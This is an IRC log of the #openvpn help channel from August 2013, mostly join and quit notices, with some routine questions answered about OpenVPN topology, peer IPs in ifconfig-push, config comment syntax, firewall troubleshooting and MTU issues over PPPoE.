20:05 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
20:15 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
20:15 -!- Roelke_ [~Roelke@hostserv.nl] has quit [Read error: Connection reset by peer]
20:15 -!- Roelke [~Roelke@hostserv.nl] has joined #openvpn
20:17 -!- [fred] [fred@konfuzi.us] has joined #openvpn
20:21 -!- raidz is now known as raidz_away
20:23 -!- sashman [~sashman@gateway/tor-sasl/sashman] has quit [Ping timeout: 240 seconds]
20:54 -!- lolcat is now known as lolant
20:54 -!- lolant is now known as LoLcAt
20:56 < jotterbot1234> Can someone provide guidance on iptables for this setup: https://dl.dropboxusercontent.com/u/6137982/network%20map%202.jpg
20:56 < jotterbot1234> so that one could ping and trace route to each other
20:56 < jotterbot1234> i want client with ip 10.10.10.100 to be able to ping client with ip 10.10.20.100
21:24 -!- pcfreak30 [~root@216.245.223.18] has joined #openvpn
21:28 < pcfreak30> Hello, does anyone have any idea why I keep getting this? http://pastie.org/private/brxeifb1ptdeda97qmmug . No firewalls are enabled and the errors just repeat 10-15 times before failing. Google hasnt given much.
21:44 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
21:48 -!- klein [~klein@unaffiliated/klein] has quit [Remote host closed the connection]
21:53 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
21:55 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
21:57 -!- kirin` [telex@gateway/shell/anapnea.net/x-xtzgorvgvdadytcu] has quit [Ping timeout: 268 seconds]
21:58 -!- kirin` [telex@gateway/shell/anapnea.net/x-kfdtzbpyjhbamcny] has joined #openvpn
22:05 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
22:05 -!- corretico [~luis@186.96.91.237] has joined #openvpn
22:13 -!- corretico [~luis@186.96.91.237] has left #openvpn ["Leaving"]
22:18 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
23:09 -!- EugeneKay is now known as Eugennerz
23:11 -!- Eugennerz is now known as HannKay
23:12 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
23:13 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
23:16 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
23:23 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
23:24 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
23:37 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
23:38 -!- convict [~convict@2604:2880::fc04:5824] has quit [Ping timeout: 240 seconds]
23:40 -!- convict [~convict@2604:2880::fc04:5824] has joined #openvpn
23:42 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
23:54 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
23:55 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
23:57 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
23:58 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
--- Day changed Wed Aug 14 2013
00:15 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
00:15 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has quit [Quit: Changing server]
00:22 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
00:23 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-gffhiouiwpqujapu] has joined #openvpn
00:35 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
00:44 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
01:14 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:31 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
01:49 -!- REdOG [~REdOG@12.208.129.98] has quit [Ping timeout: 245 seconds]
01:51 -!- REdOG [~REdOG@12.208.129.98] has joined #openvpn
02:04 -!- mattock_afk is now known as mattock
02:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:47 -!- Denial [Denial@90.202.5.141] has joined #openvpn
02:55 -!- jotterbot1234 [~jotterbot@103.4.236.30] has quit [Quit: jotterbot1234]
02:58 -!- Linmu_ [~Linmu@203.70.194.104] has quit [Ping timeout: 264 seconds]
03:10 -!- youknow [ilove@i.hope.you.are.offended.by.horseboners.xxx] has quit [Quit: And with a *poof* he's gone]
03:13 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
03:20 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
03:22 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has joined #openvpn
03:22 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has quit [Changing host]
03:22 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:05 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-gffhiouiwpqujapu] has quit [Ping timeout: 245 seconds]
04:05 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-qyfpymwosqzrcgmf] has joined #openvpn
04:20 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
04:40 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:04 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
05:05 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
05:09 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Read error: Operation timed out]
05:21 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
05:35 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
05:39 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
05:46 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Quit: exed]
05:47 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-qyfpymwosqzrcgmf] has quit [Quit: Leaving]
06:03 -!- takamich_ [~takamichi@217.23.5.63] has joined #openvpn
06:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Operation timed out]
06:20 -!- higuita [~higuita@2001:b18:400f:0:49b6:e164:1dfc:6ceb] has quit [Ping timeout: 245 seconds]
06:42 -!- takamich_ [~takamichi@217.23.5.63] has quit [Ping timeout: 276 seconds]
06:45 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:52 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
06:57 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
07:02 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
07:08 -!- higuita [~higuita@2001:b18:400f:0:59fa:8af2:1e31:72a3] has joined #openvpn
07:26 -!- marcinkuzminski [~marcinkuz@188.cimarosa.openttdcoop.org] has left #openvpn ["gone"]
07:43 -!- arnotixe [~arno@212.4.55.139] has joined #openvpn
07:45 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 264 seconds]
07:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 268 seconds]
07:51 -!- arnotixe [~arno@212.4.55.139] has quit [Ping timeout: 264 seconds]
07:51 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
07:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:59 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
08:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
08:21 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Quit: exed]
08:22 -!- zampa_ [zampa@213.112.37.235] has quit [Ping timeout: 240 seconds]
08:22 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
08:29 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
08:36 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
08:39 -!- senyai [~senyai@ppp91-76-26-135.pppoe.mtu-net.ru] has joined #openvpn
08:57 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Quit: exed]
09:16 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
09:26 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
09:29 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Remote host closed the connection]
09:30 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Quit: exed]
09:32 -!- senyai [~senyai@ppp91-76-26-135.pppoe.mtu-net.ru] has quit [Ping timeout: 240 seconds]
09:32 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
09:39 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:06 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
10:17 -!- raidz_away is now known as raidz
10:33 -!- HannKay is now known as EugeneKay
10:38 < Pei> anyone around?
10:46 < kisom> Pei: Yeah
10:46 < Pei> nevermind got it :)
10:46 < Pei> thanks
10:51 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 240 seconds]
11:28 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 256 seconds]
11:41 -!- raidz is now known as raidz_away
11:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
11:48 -!- JSharpe_ [~JSharpe@37.220.15.234] has joined #openvpn
11:48 -!- hednod- [exile@wintermute.probsd.net] has joined #openvpn
11:48 -!- raidz_away is now known as raidz
11:49 -!- JSharpe [~JSharpe@37.220.15.234] has quit [Read error: Connection reset by peer]
11:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:52 -!- hednod [exile@wintermute.probsd.net] has quit [Ping timeout: 264 seconds]
11:52 -!- hednod- is now known as hednod
12:39 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
13:08 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
13:09 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving]
13:18 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 264 seconds]
13:19 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
13:19 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
13:19 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
13:35 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
14:30 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
15:10 -!- pcfreak30 [~root@216.245.223.18] has quit [Quit: Lost terminal]
15:19 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:32 -!- Denial [Denial@90.202.5.141] has quit []
15:33 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
16:20 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
16:21 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
16:27 -!- higuita [~higuita@2001:b18:400f:0:59fa:8af2:1e31:72a3] has quit [Quit: WeeChat 0.4.1]
16:30 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:34 -!- Tera_ [~tera@ip133-114.seclan.com] has joined #openvpn
16:34 -!- Tera [~tera@unaffiliated/tera] has quit [Read error: Connection reset by peer]
16:35 -!- chiiph_ [~chiiph@unaffiliated/chiiph] has quit [Quit: No Ping reply in 180 seconds.]
16:35 -!- mchou [~quassel@unaffiliated/mchou] has quit [Quit: No Ping reply in 180 seconds.]
16:35 -!- chiiph [~chiiph@unaffiliated/chiiph] has joined #openvpn
16:35 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
16:37 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:37 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
16:38 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
16:40 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:50 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
17:19 -!- klein [~klein@177.101.106.67] has joined #openvpn
17:19 -!- klein [~klein@177.101.106.67] has quit [Changing host]
17:19 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:20 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 264 seconds]
17:40 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
17:41 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
17:41 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:45 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
17:45 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 245 seconds]
17:46 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
17:46 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
17:46 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
17:49 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
17:51 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 240 seconds]
17:51 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Remote host closed the connection]
17:51 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
17:51 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
17:51 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
17:52 -!- brucelee [~peter@69-12-252-50.dedicated.static.sonic.net] has joined #openvpn
17:52 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
17:52 < brucelee> the openvpn config file, the ";" in front of the line means it's not active?
17:52 < brucelee> if so, what's the difference between that and #
17:54 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
17:57 <+pekster> !comment
17:57 <@vpnHelper> "comment" is you can use ; or # to make comments in the config file
18:00 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
18:05 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
18:09 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 264 seconds]
18:10 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
18:13 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
18:15 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Remote host closed the connection]
18:17 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
18:25 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Quit: Felt like it.]
18:25 -!- crus [~crusader@2001:44b8:319e:2900:ed90:3935:47f3:79db] has joined #openvpn
18:28 < jeev> !iptables
18:28 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf or
18:28 <@vpnHelper> iptables or (#4) These are just the basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You may try #netfilter
18:28 < jeev> !routing
18:28 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
18:40 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:52 -!- GabrieleV [~GabrieleV@95.230.79.190] has quit [Ping timeout: 260 seconds]
18:55 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
19:02 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Quit: :(]
19:05 -!- crus [~crusader@2001:44b8:319e:2900:ed90:3935:47f3:79db] has quit [Ping timeout: 245 seconds]
19:06 -!- crus [~crusader@2001:44b8:319e:2900:ed90:3935:47f3:79db] has joined #openvpn
19:09 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
19:10 < brucelee> hey
19:10 < brucelee> trying to understand the networking involved with openvpn, as i understand it, the server listens on an IP
19:10 < brucelee> but each ccd file has a ipconfig-push <ip1> <ip2>
19:10 < brucelee> an ip for virtual server and virtual client
19:10 < brucelee> why not just an IP for the client?
19:11 < brucelee> trying to picture the networking involved but im not sure how it works
19:11 -!- raidz is now known as raidz_away
19:11 < brucelee> what are the virtual client and virtual servers?
19:11 -!- krapper [krapper@23.21.191.223] has quit [Ping timeout: 240 seconds]
19:11 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
19:12 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 240 seconds]
19:12 <+pekster> brucelee: When using tun devices (OSI L3) OpenVPN operates either in a PtP mode, (which Windows has to "fake" with a /30) or in a subnet mode, where the driver configures an IP with a netmask, like a traditional network
19:13 <+pekster> The 2nd IP used with --ifconfig-push is the peering IP (used as you'd expect for PtP configurations) when using the p2p or net30 topologies, and a netmask when using the subnet topology (or when using tap)
19:13 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
19:13 <+pekster> Use of --topology subnet is recommended unless you have a pressing need to support Windows clients that run a pre-2.1 version (2.0.9 is over 6 years old... please don't want to run those ;)
19:14 -!- mode/#openvpn [+o krzee] by ChanServ
19:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
19:21 <+pekster> !accounting
19:21 <@vpnHelper> "accounting" is http://pekster.sdf.org/code/files/openvpn-user-accounting.tgz for some bash code for basic accounting
19:21 <+pekster> !forget accounting
19:21 <@vpnHelper> Joo got it.
19:21 <+pekster> !learn accounting as Some shell code for basic user accounting on connect/disconnect: https://github.com/QueuingKoala/openvpn-dynamic/tree/master/user-accounting
19:21 <@vpnHelper> Joo got it.
19:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:25 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
19:25 < brucelee> pekster: thanks a lot
19:27 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
19:31 < brucelee> pekster: what is the peering IP used for ?
19:31 < brucelee> a little confused about that
19:31 <+pekster> The IP of the "peer" in a Point-to-Point connection
19:32 < brucelee> what does that mean pekster ?
19:32 <+pekster> In Linux terms, `--ifconfig-push 10.8.0.1 10.8.0.2` translates to `ip addr add 10.8.0.1 peer 10.8.0.2 dev tun0` (or whatever the device is)
19:32 <+pekster> You should google Point-to-Point Networking if you aren't familiar with PtP interfaces
19:32 < brucelee> ok
19:32 < brucelee> pekster: thanks
19:33 <+pekster> It's just that: a point to point interface (similar in effect to ppp, or GRE, or any number of similar methods that do effectively the same style of connection)
19:33 <+pekster> This may also be helpful:
19:33 <+pekster> !/30
19:33 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
19:33 <+pekster> #5 being the critical part of the net30 topology overview
19:34 <+pekster> There is zero sane reason to use net30 at this point in time; if you need Windows support, use --topology subnet. If not, choose between p2p and subnet at your option
19:39 -!- master_of_master [~master_of@p4FD7BC5E.dip0.t-ipconnect.de] has joined #openvpn
19:42 -!- master_o1_master [~master_of@p4FD7BD8E.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
19:45 -!- Zarrsh [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has quit [Ping timeout: 246 seconds]
20:01 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
20:06 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
20:11 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
20:15 -!- p3rror [~p3rror@41.140.182.96] has joined #openvpn
20:19 -!- novaflash is now known as novaflash_away
20:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
20:23 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
20:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
21:02 -!- p3rror [~p3rror@41.140.182.96] has quit [Ping timeout: 276 seconds]
21:04 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
21:04 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
21:14 -!- fly-away [~fly@89.169.179.218] has joined #openvpn
21:14 < fly-away> hi2all
21:15 < fly-away> openvpn freezes when run over pppoe
21:15 < fly-away> with 1492 mtu
21:16 < Dar1us> is ICMP blocked
21:16 < Dar1us> ?
21:18 <+pekster> See the --mtu-test option. This said, openvpn won't "freeze" with MTU issues, just fail to deliver MTU-sized packets that it is unable to fragment or that your encapsulating link "looses" in transit
21:18 < Dar1us> and if your link is blocking ICMP it shouldn't
21:31 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
21:32 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
21:32 -!- mode/#openvpn [+o krzee] by ChanServ
21:44 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
22:12 < fly-away> Dar1us, icmp is blocking too
22:13 -!- EugeneKay is now known as HannKay
22:13 -!- HannKay is now known as VasionKay
22:14 <+pekster> icmp != ping
22:15 < Dar1us> fly-away: if your link blocks ICMP it is broken
22:15 <+pekster> If your link is blocking icmp frag-needed packets (or any in type 3 really), then they've effectively broken MTU discovery and anyone on a sub-1500 MTU is likely to have issues routing through that hop. That's "really bad"
22:16 < Dar1us> it is only half broken if it blocks most ICMP but allows PMTU
22:18 -!- VasionKay is now known as EugeneKay
22:19 -!- fly-away [~fly@89.169.179.218] has quit [Remote host closed the connection]
22:28 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Quit: Leaving]
22:39 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 268 seconds]
22:58 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
23:09 -!- master_of_master [~master_of@p4FD7BC5E.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
--- Day changed Thu Aug 15 2013
00:14 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
00:14 -!- deadbum [~moroni@c-69-143-186-19.hsd1.va.comcast.net] has quit [Ping timeout: 256 seconds]
00:15 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
00:22 -!- monk [~aknm@196.14.139.96] has joined #openvpn
00:22 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
00:22 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:29 -!- Zarrsh [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has joined #openvpn
00:29 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
00:30 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 264 seconds]
01:09 -!- deadbum [~moroni@c-69-143-186-19.hsd1.va.comcast.net] has joined #openvpn
01:14 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
01:18 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
01:37 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:42 -!- Tera_ is now known as Tera
01:42 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
01:42 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
02:00 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
02:01 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
02:05 -!- novaflash_away is now known as novaflash
02:20 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Ping timeout: 245 seconds]
02:33 -!- mikkel [~mikkel@0x4dd7395e.adsl.cybercity.dk] has joined #openvpn
02:35 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Remote host closed the connection]
02:49 -!- mikkel [~mikkel@0x4dd7395e.adsl.cybercity.dk] has quit [Ping timeout: 264 seconds]
03:04 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:08 -!- NChief [~nchief@unaffiliated/nchief] has quit [Ping timeout: 264 seconds]
03:10 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
03:53 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
04:01 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Ping timeout: 268 seconds]
04:02 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
04:14 -!- Denial [~Denial@31.55.21.249] has joined #openvpn
04:25 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: ZNC - http://znc.in]
04:27 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
04:27 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
04:29 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
04:30 -!- Denial- [~Denial@31.55.21.249] has joined #openvpn
04:31 -!- Denial [~Denial@31.55.21.249] has quit [Ping timeout: 264 seconds]
04:31 -!- Denial- is now known as Denial
04:40 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
04:43 -!- mattock is now known as mattock_afk
04:45 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
04:57 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
05:03 < zamba> hi there.. i'm getting a lot of these messages in my syslog: write UDPv4 [ECONNREFUSED]: Connection refused (code=111)
05:04 < zamba> the vpn tunnel works just fine
05:11 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
05:25 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has quit [Ping timeout: 264 seconds]
05:38 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has joined #openvpn
05:41 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has joined #openvpn
05:41 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has quit [Changing host]
05:41 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:12 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
06:15 < Dar1us> zamba: do you have a syslogd running?
06:15 < Dar1us> oh wait
06:15 < Dar1us> total brain fart reading that :)
06:17 -!- LoLcAt is now known as lolcat
06:18 -!- Denial [~Denial@31.55.21.249] has quit [Ping timeout: 264 seconds]
06:21 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
06:28 -!- Denial [~Denial@31.55.21.249] has joined #openvpn
06:33 < ddr-> !welcome
06:33 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
06:33 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:38 -!- Denial [~Denial@31.55.21.249] has quit [Ping timeout: 276 seconds]
07:13 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Ping timeout: 264 seconds]
07:13 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
07:16 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 245 seconds]
07:20 -!- Denial [~Denial@217.39.7.252] has joined #openvpn
07:26 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
07:31 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
